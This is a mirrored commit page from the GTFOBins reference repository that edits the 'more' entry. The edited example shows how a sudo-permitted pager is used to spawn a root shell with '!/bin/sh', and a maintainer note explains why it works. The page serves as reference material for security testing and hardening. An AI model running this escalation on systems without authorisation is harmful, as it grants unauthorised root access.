mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Remove -E option of sudo for more
Note added by @cyrus-and: this only works because `sudo` preserves `TERM` nevertheless (unless explicitly blacklisted).
This commit is contained in:
parent
1600e05fef
commit
fbd887e91a
@ -10,6 +10,6 @@ functions:
|
|||||||
- code: ./more file_to_read
|
- code: ./more file_to_read
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
TERM= sudo -E more /etc/profile
|
TERM= sudo more /etc/profile
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user